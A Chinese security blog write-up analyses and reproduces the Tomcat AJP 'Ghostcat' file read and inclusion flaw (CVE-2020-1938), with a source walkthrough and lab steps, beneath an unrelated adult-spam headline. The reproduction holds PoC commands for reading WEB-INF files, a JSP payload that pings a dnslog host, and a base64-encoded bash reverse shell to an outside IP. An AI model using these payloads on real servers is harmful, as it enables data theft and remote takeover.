自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

JAVA安全之CVE-2020-1938復(fù)現(xiàn)和分析

安全 漏洞
對于處在漏洞影響版本范圍內(nèi)的 Tomcat 而言,若其開啟 AJP Connector 且攻擊者能夠訪問 AJP Connector 服務(wù)端口的情況下,即存在被 Ghostcat 漏洞利用的風(fēng)險。注意 Tomcat AJP Connector 默認配置下即為開啟狀態(tài),且監(jiān)聽在 0.0.0.0:8009 。

一、漏洞簡介

Apache Tomcat是由Apache軟件基金會屬下Jakarta項目開發(fā)的Servlet容器.默認情況下,Apache Tomcat會開啟AJP連接器,方便與其他Web服務(wù)器通過AJP協(xié)議進行交互.但Apache Tomcat在AJP協(xié)議的實現(xiàn)上存在漏洞,導(dǎo)致攻擊者可以通過發(fā)送惡意的AJP請求,可以讀取或者包含Web應(yīng)用根目錄下的任意文件,如果配合文件上傳任意格式文件,將可能導(dǎo)致任意代碼執(zhí)行(RCE).該漏洞利用AJP服務(wù)端口實現(xiàn)攻擊,未開啟AJP服務(wù)對外不受漏洞影響(tomcat默認將AJP服務(wù)開啟并綁定至0.0.0.0/0).

1、危險等級

高危

2、漏洞危害

攻擊者可以讀取 Tomcat所有 webapp目錄下的任意文件。此外如果網(wǎng)站應(yīng)用提供文件上傳的功能,攻擊者可以先向服務(wù)端上傳一個內(nèi)容含有惡意 JSP 腳本代碼的文件(上傳的文件本身可以是任意類型的文件,比如圖片、純文本文件等),然后利用 Ghostcat 漏洞進行文件包含,從而達到代碼執(zhí)行的危害

3、影響范圍

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

4、前提條件

對于處在漏洞影響版本范圍內(nèi)的 Tomcat 而言,若其開啟 AJP Connector 且攻擊者能夠訪問 AJP Connector 服務(wù)端口的情況下,即存在被 Ghostcat 漏洞利用的風(fēng)險。注意 Tomcat AJP Connector 默認配置下即為開啟狀態(tài),且監(jiān)聽在 0.0.0.0:8009 。

5、漏洞原理

Tomcat 配置了兩個Connecto,它們分別是 HTTP 和 AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用于處理 AJP 協(xié)議的請求,而AJP比http更加優(yōu)化,多用于反向、集群等,漏洞由于Tomcat AJP協(xié)議存在缺陷而導(dǎo)致,攻擊者利用該漏洞可通過構(gòu)造特定參數(shù),讀取服務(wù)器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shel

二、漏洞分析

1.漏洞成因分析:

tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協(xié)議端口,另外一個就是默認的8009 AJP協(xié)議端口,兩個端口默認均監(jiān)聽在外網(wǎng)ip。

1675495543_63de08772101844913e5e.png!small?1675495544151

tomcat在接收ajp請求的時候調(diào)用org.apache.coyote.ajp.AjpProcessor來處理ajp消息,prepareRequest將ajp里面的內(nèi)容取出來設(shè)置成request對象的Attribute屬性

如下圖:

在代碼的507行

1675495559_63de08879ca54c609ec68.png!small?1675495560408

可以通過此種特性從而可以控制request對象的下面三個Attribute屬性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封裝成對應(yīng)的request之后,繼續(xù)走servlet的映射流程如下圖所示:

接著看第252行。

1675495573_63de089571223e3e999ff.png!small?1675495574253

2.利用方式:

(1)利用DefaultServlet實現(xiàn)任意文件下載

當(dāng)url請求未在映射的url列表里面則會通過tomcat默認的DefaultServlet會根據(jù)上面的三個屬性來讀取文件,如下圖

1675495587_63de08a347a1f80fde8f9.png!small?1675495588119

通過serveResource方法來獲取資源文件

1675495602_63de08b2a1e8902ba22be.png!small?1675495603550

通過getRelativePath來獲取資源文件路徑

1675495610_63de08ba9c5c04a14b2fd.png!small?1675495611496

然后再通過控制ajp控制的上述三個屬性來讀取文件,通過操控上述三個屬性從而可以讀取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。

(2)通過jspservlet實現(xiàn)任意后綴文件包含

當(dāng)url(比如http://xxx/xxx/xxx.jsp)請求映射在org.apache.jasper.servlet.JspServlet這個servlet的時候也可通過上述三個屬性來控制訪問的jsp文件如下圖:

1675495622_63de08c6df6d67f1aad40.png!small?1675495623843

控制路徑之后就可以以jsp解析該文件 所以只需要一個可控文件內(nèi)容的文件即可實現(xiàn)rce.

代碼段分析1:

tomcat默認監(jiān)聽的8009端口用來處理AJP協(xié)議。AJP協(xié)議建立在TCP socket通信之上,tomcat使用該協(xié)議和前級的Web Server傳遞信息,這次的漏洞就出在客戶端可以利用ajp協(xié)議數(shù)據(jù)包控制request對象的一些字段。

具體地,tomcat源碼的org.apache.coyote.ajp.AjpProcessor類的service()方法如下:

1675495661_63de08ed1f79548730fd3.png!small?1675495661937

它調(diào)用的prepareRequest()方法用來解析一些請求頭,部分內(nèi)容如下:

1675495672_63de08f8d247fc34a7a02.png!small?1675495673781

可以看到,當(dāng)ajp數(shù)據(jù)包的頭設(shè)置為SC_REQ_ATTRIBUTE時(具體數(shù)值可以查詢AJP協(xié)議規(guī)范),Connector會緊接著讀取變量n(屬性名)和v(值),當(dāng)n不是SC_A_REQ_LOCAL_ADDR、SC_A_REQ_REMOTE_PORT、SC_A_SSL_PROTOCOL時,就會用v來賦值屬性n。接著,service()方法將修改過的request代入后面的調(diào)用。

1675495683_63de09031ab64c0dbb5ef.png!small?1675495683885

=在org.apache.catalina.servlets.DefaultServlet中,當(dāng)我們的請求聲明的是GET方法時,存在調(diào)用service()->doGet()->serveResource(),分析serveResource()代碼如下:

1675495698_63de09129249aeacc1aca.png!small?1675495699386

其調(diào)用的getRelativePath()方法內(nèi)容如下:

protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
String servletPath;
String pathInfo;

if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
} else{
......
}
StringBuilder result = new StringBuilder();
if (servletPath.length() > 0) {
result.append(servletPath);
}
if (pathInfo != null) {
result.append(pathInfo);
}
......
return result.toString();
}

從javax.servlet.RequestDispatcher中可以看到這三個屬性的名稱:

1675495711_63de091f1efb2e76204d9.png!small?1675495711880

所以,我們就能通過AJP協(xié)議改變request的這三個屬性來控制請求的路徑,serveResource()方法獲得path后的代碼大致如下:

1675495718_63de0926162c5f84f2e04.png!small?1675495718865

它會直接把通過path獲取的資源序列化輸出,因此客戶端再按照AJP協(xié)議解析數(shù)據(jù)包就能得到文件內(nèi)容。

代碼段分析2:

同樣的道理,tomcat默認將jsp/jspx結(jié)尾的請求交給org.apache.jasper.servlet.JspServlet處理,它的service()方法如下:

1675495729_63de0931a4dcbf9fe88e6.png!small?1675495730481

可以看到j(luò)spUri也是由兩個可控的屬性定義的,后續(xù)代碼:

1675495738_63de093a107a3b1086c65.png!small?1675495738872

代碼在這里根據(jù)jspUri生成了一個JspServletWrapper,它會調(diào)用service()方法完成jsp代碼的編譯,將其轉(zhuǎn)換成一個servlet。該servlet最終會以.java文件的形式寫入%CATALINA_HOME%/work/Engine/Host/Context目錄下:

1675495748_63de0944acf1e776d553f.png!small?1675495749525

經(jīng)過上述調(diào)用,這就形成了文件包含漏洞。當(dāng)Web應(yīng)用上有某個文件內(nèi)容可被我們控制時,就可以造成rce漏洞。

三、漏洞復(fù)現(xiàn)

1.環(huán)境的準(zhǔn)備

(1)windows下漏洞復(fù)現(xiàn)環(huán)境準(zhǔn)備,這里以tomcat-8.5.32為例。

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)安裝jdk并配置JDK環(huán)境

(3)然后啟動tomcat,點擊tomcat目錄/bin 文件夾下的startup.bat

1675495756_63de094c6b7d3c0d8f7ff.png!small?1675495757384

root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/ root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi#

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xm

讀取文件

讀取web-inf/web.xm文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f WEB-INF/web.xml

1675495766_63de09564a4e59bbdf05e.png!small?1675495767222

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f index.jsp

1675495788_63de096cc1e32543a10f5.png!small?1675495789626

命令執(zhí)行

執(zhí)行whoami命令

python "文件包含(CVE-2020-1938).py" 10.10.10.134 -p 8009 -f /test.txt

1675495796_63de09748fda46c49e82e.png!small?1675495797357

ping dnslog

<%
java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

1675495805_63de097d3a6a076325719.png!small?1675495806076

1675495810_63de098233ee70af149cc.png!small?1675495811126

反彈shell

  • 反彈shell用的命令需要進行bash編碼
  • 在線bash編碼:http://www.jackson-t.ca/runtime-exec-payloads.html
  • https://ares-x.com/tools/runtime-exec/
  • POC下載地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

1675495817_63de0989e385160cf4f3b.png!small?1675495818705

在反彈shell的過程中,我嘗試多次之后失敗了。就放了一張米斯特斯文師傅的一張成功的圖片。

1675495842_63de09a2ce9004ba442c1.png!small?1675495843853

REF

https://www.cnblogs.com/backlion/p/12870365.html

https://xz.aliyun.com/t/7325

https://www.svenbeast.com/post/fqSI9laE8/

責(zé)任編輯:武曉燕 來源: FreeBuf.COM
相關(guān)推薦

2020-12-25 10:08:30

漏洞Windows操作系統(tǒng)

2020-10-25 09:39:49

漏洞分析

2023-02-16 08:17:25

2020-10-23 11:13:39

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2021-02-09 10:31:04

漏洞webWordPress F

2020-10-19 10:43:49

漏洞

2022-06-14 09:00:21

漏洞補丁

2014-11-10 16:06:26

加密APP安全打車軟件

2020-10-12 10:28:15

漏洞內(nèi)存破壞網(wǎng)絡(luò)攻擊

2020-12-17 10:28:27

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2021-02-07 14:39:22

Falco漏洞安全工具

2011-03-17 11:24:18

2020-03-04 14:01:31

戴爾

2020-07-15 10:35:25

漏洞攻擊網(wǎng)絡(luò)安全

2018-08-03 16:09:09

2020-12-28 10:23:00

中間人攻擊漏洞Kubernetes

2020-12-11 11:18:43

MiTMKubernetes漏洞

2020-06-01 11:49:27

小米MIUI

2009-08-24 10:34:06

安全網(wǎng)關(guān)趨勢分析

2017-08-15 17:34:26

安全運營安全分析網(wǎng)絡(luò)安全
點贊
收藏

51CTO技術(shù)棧公眾號